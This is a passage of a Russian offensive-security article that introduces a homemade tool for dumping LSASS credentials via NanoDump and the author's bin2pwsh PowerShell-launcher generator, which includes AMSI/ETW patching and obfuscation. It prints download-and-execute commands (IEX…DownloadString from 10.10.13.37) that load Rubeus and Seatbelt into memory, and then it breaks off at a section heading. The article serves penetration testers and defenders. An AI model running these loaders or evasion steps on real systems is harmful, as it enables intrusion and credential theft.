Нанодамп. Как я заново изобрел SafetyKatz для дампа LSASS с NanoDump

Содержание статьи

  • Вводная
  • System.Reflection.Assembly. Король умер, да здравствует король!
  • Пример 1. Базовый
  • Пример 2. Продвинутый
  • Пример 3. PowerSharpPack своими руками
  • Пишем SafetyNDump. Создание дампа LSASS в обход AV
  • Олицетворение SYSTEM из неинтерактивной консоли
  • SafetyNDump.Net.WebClient или Resolve-DnsName?
  • Пишем SafetyNDump
  • Парсинг MiniDump
  • Объединение результатов
  • Противодействие

В этой статье под­робно раз­берем скры­тое при­мене­ние ути­литы NanoDump из памяти, ког­да модели­руемый зло­умыш­ленник не обла­дает «маяч­ком» C&C на ата­куемом сетевом узле, и срав­ним такой спо­соб исполь­зования NanoDump с при­мене­нием SafetyKatz. Pentest Award

Этот текст получил пре­мию Pentest Award 2024 в катего­рии «Раз bypass, два bypass». Это сорев­нование еже­год­но про­водит­ся ком­пани­ей Awillix.

NanoDump уже успел обрести широкую популяр­ность у вен­доров AV/EDR, что пос­пособс­тво­вало написа­нию для него кучи детек­тов, поэто­му теперь мы можем более сво­бод­но поделить­ся сво­им опы­том его исполь­зования на «внут­ряках».

info

Эта замет­ка — про­дол­жение темы, начатой в статье «Дам­пы LSASS для всех, даром, и пусть ник­то не уйдет оби­жен­ный», в которой я показы­вал, как мож­но «по‑молодеж­ному» вытас­кивать сек­реты из памяти про­цес­са lsass.exe для повыше­ния при­виле­гий в кор­поратив­ном домене Active Directory или даль­нейших боковых переме­щений в нед­ра внут­рянки заказ­чика пен­теста.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

 

Вводная

Для начала нем­ного понос­таль­гиру­ем по вре­менам, ког­да деревья были зеленее, а анти­вирус­ные решения не были так жес­токи по отно­шению к рядовым исполни­телям про­ектов по тес­тирова­нию на про­ник­новение. В то вре­мя (око­ло пяти лет до момен­та написа­ния статьи) в сос­таве кол­лекции GhostPack появил­ся инте­рес­ный инс­тру­мент SafetyKatz, в рам­ках раз­работ­ки которо­го иссле­дова­тель @harmj0y вдох­нул новую жизнь в небезыз­вес­тный Mimikatz, уже на тот момент «палив­ший­ся» всем и вся при его исполь­зовании в чис­том виде.

SafetyKatz деком­позиру­ет про­цесс извле­чения дан­ных аутен­тифика­ции из LSASS на два эта­па: непос­редс­твен­ное соз­дание дам­па с помощью API-руч­ки dbghelp.dll!MiniDumpWriteDump и пар­синг получен­ного дам­па пос­редс­твом модифи­циро­ван­ного (умень­шен­ного по сво­им воз­можнос­тям) Mimikatz. Пос­ледний, в свою оче­редь, заг­ружа­ется в память по методу PE Reflection и выпол­няет захар­дко­жен­ные коман­ды sekurlsa::logonpasswords и sekurlsa::ekeys в отно­шении уже соз­данно­го ранее дам­па памяти. По завер­шении работы ути­литы прив­несен­ные арте­фак­ты — минидамп, сох­ранен­ный по пути C:WindowsTempdebug.bin, — уда­ляют­ся с фай­ловой сис­темы жер­твы.

Опи­сание SafetyKatz (github.com)

Та­кой под­ход в свое вре­мя поз­волял умень­шить количес­тво детек­тов исполь­зования sekurlsa::logonpasswords «на живую», сок­ращал вре­мя на выдер­гивание хешей и клю­чей (немалый дамп памяти боль­ше не нуж­но тащить к себе на тач­ку) и пря­тал сиг­натуру Mimikatz от ста­тичес­кого ана­лиза. При­мер­но такой же под­ход дол­гое вре­мя при­менял­ся моей коман­дой с тем лишь отли­чием, что я исполь­зовал новомод­ный NanoDump из памяти для соз­дания слеп­ка памяти и биб­лиоте­ку на C# — для его пар­синга на мес­те.

Даль­ше мы рас­смот­рим попод­робнее, как соз­дать свой «SafetyNDump» для фана и про­фита, но спер­ва озна­комим­ся со вспо­мога­тель­ным инс­тру­мен­тари­ем.

info

Сра­зу ого­ворюсь, что далее не будут рас­смот­рены дей­ству­ющие на момент написа­ния статьи тех­ники обхо­да AV/EDR для дам­па LSASS. Цель пуб­ликации — рас­ска­зать, как мы дол­гое вре­мя «абь­юзи­ли» одну из лазе­ек укло­нения от «Кас­пер­ско­го», и тем самым поделить­ся сво­им опы­том с кол­легами, игра­ющи­ми на сто­роне дефен­са. На дан­ный момент опи­сыва­емый век­тор ата­ки зак­рыт.

 

System.Reflection.Assembly. Король умер, да здравствует король!

Мне очень нра­вит­ся PowerShell и его воз­можнос­ти в кон­тек­сте нас­тупатель­ной безопас­ности. В слу­чае, ког­да в целевой инфраструк­туре не заж­жен AppLocker + Constrained Language Mode, прос­тота при­мене­ния это­го инс­тру­мен­та Windows-авто­мати­зации на обыч­ных пен­тестах — прос­то подарок для модели­руемо­го зло­умыш­ленни­ка. На киберу­чени­ях с необ­ходимостью скры­того исполне­ния команд его тоже мож­но прис­пособить под нуж­ды исполни­теля с помощью пат­чинга ETW, вызова ран­спей­са System.Management.Automation нап­рямую (я смот­рю на тебя, PowerShx!) и дру­гих трик­сов.

Мы будем целить­ся в исполне­ние нак­рафчен­ного на C# кода через механизм System.Reflection.Assembly, что поможет еще боль­ше упростить жизнь этич­ному зло­умыш­ленни­ку при под­клю­чении к сетевым узлам через служ­бу WinRM (Windows Remote Management) или, нап­ример, с помощью скрип­тов exec.py из Impacket.

На прос­торах интерне­та есть куча ма­тери­алов, как выпол­нять код на «шар­пах» через PowerShell, но мне, как обыч­но, не хва­тало а‑в-т‑о-м‑а-т‑и-з‑а-ц‑и-и… Поэто­му в сво­бод­ное от работы вре­мя я написал прос­тую питонячью ути­литу bin2pwsh, которая поз­воля­ет кон­верти­ровать соб­ранные на C# бинари в лаун­черы на PowerShell.

Я даже лого сде­лал, ага (с logoly.pro)

Крат­ко опи­шу ее воз­можнос­ти:

  • Авто­мати­чес­ки соз­дает «запус­каторы» на PowerShell из ском­пилиро­ван­ных исполня­емых фай­лов на C# на осно­ве пре­доп­ределен­ных шаб­лонов (клас­сичес­кий или с исполь­зовани­ем при­мити­вов Emit). Бай­ты исполня­емых фай­лов спер­ва сжи­мают­ся с помощью zlib и обо­рачи­вают­ся в Base64 для их встра­ива­ния в код скрип­тов .ps1.
  • Мож­но исполь­зовать безум­но кру­той инс­тру­мент Donut, если нуж­но запус­кать неуп­равля­емый код из PowerShell для сис­темных вызовов — пря­мых (форк Donut от @s4ntiago_p для Linux) или неп­рямых (зак­рытый форк Donut от @KlezVirus и Porchetta Industries для Windows с воз­можностью перехе­широ­вания на лету). Само исполне­ние неуп­равля­емо­го кода дос­тига­ется за счет пред­варитель­ной кросс‑ком­пиляции в Linux (с помощью Mono) или обыч­ной ком­пиляции в Windows (с помощью csc.exe) селф‑инжекто­ра на C# на осно­ве тем­плей­тов от @bohops (Unmanaged Code Execution with .NET Dynamic PInvoke) и @dr4k0nia (HInvoke and avoiding PInvoke). Они работа­ют без ста­тичес­ких импортов P/Invoke для вызовов WinAPI. Более под­робное опи­сание тем­плей­та инжекто­ра мож­но най­ти на GitHub.
  • Поз­воля­ет при­менять нес­ложные тех­ники укло­нения от AV: пат­чинг AMSI, ETW, RC4-шиф­рование полез­ной наг­рузки с помощью встро­енных механиз­мов Windows и обфуска­ция ста­тичес­ких строк.

Рас­смот­рим при­меры исполь­зования.

 

Пример 1. Базовый

Это прос­тая упа­ков­ка Rubeus в PowerShell-лаун­чер на осно­ве стан­дар­тно­го шаб­лона System.Reflection.Assembly.

curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe bin2pwsh.py Rubeus.exe

Ге­нера­ция заг­рузчи­ка Rubeus на PowerShellIEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Rubeus.ps1")Invoke-Rubeus hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!

Заг­рузка и запуск Rubeus из памяти 

Пример 2. Продвинутый

Те­перь пос­мотрим на прод­винутую упа­ков­ку Rubeus в PowerShell-лаун­чер на осно­ве шаб­лона System.Reflection.Emit и его исполне­ние через запуск селф‑инжекто­ра шелл‑кода, получен­ного с помощью фор­ка Donut за авторс­твом KlezVirus с динами­чес­ким перехе­широ­вани­ем неп­рямых сис­темных вызовов (под­робнее о тех­нике рас­ска­зыва­ет ро­лик на YouTube). Чаще все­го этот спо­соб исполь­зует­ся с натив­ным кодом, одна­ко паковать таким обра­зом управля­емый код так­же ник­то не зап­реща­ет.

curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exepy .bin2pwsh.py 'Rubeus.exe hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!' -d -wh C:ToolsSysWhispers3syswhispers.py -whm jumper_randomized --emit --debug --silent

Ге­нера­ция заг­рузчи­ка Rubeus на PowerShellIEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-RubeusInject.ps1")Invoke-RubeusInject

Заг­рузка и запуск Rubeus из памяти 

Пример 3. PowerSharpPack своими руками

Ну и на слад­кое — при­мер соз­дания ана­лога репози­тория PowerSharpPack (от @ShitSecure) из SharpCollection (от @Flangvik) за счи­таные секун­ды.

git clone https://github.com/Flangvik/SharpCollection cd SharpCollection/NetFramework_4.0_Any for exe in ./*.exe; do bin2pwsh.py $exe --silent; done

Де­лаем лаун­черы на PowerShell из SharpCollectionIEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Seatbelt.ps1")Invoke-Seatbelt -group=system

Заг­рузка и запуск Seatbelt из памяти

Со вспо­мога­тель­ным инс­тру­мен­тари­ем разоб­рались, вер­немся к нашей проб­леме. Что­бы оста­вать­ся орга­низо­ван­ными и во имя кон­цепции «раз­деляй и влас­твуй», не будем отхо­дить от нар­ратива деком­позиции SafetyKatz и пооче­ред­но рас­смот­рим соз­дание дам­па и его пар­синг.

 

Пишем SafetyNDump. Создание дампа LSASS в обход AV

Итак, пер­вое, с чем нуж­но разоб­рать­ся, — это соз­дание дам­па памяти lsass.exe. Спо­соб дол­жен про­катить с дей­ству­ющим средс­твом защиты.

 

Олицетворение SYSTEM из неинтерактивной консоли

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *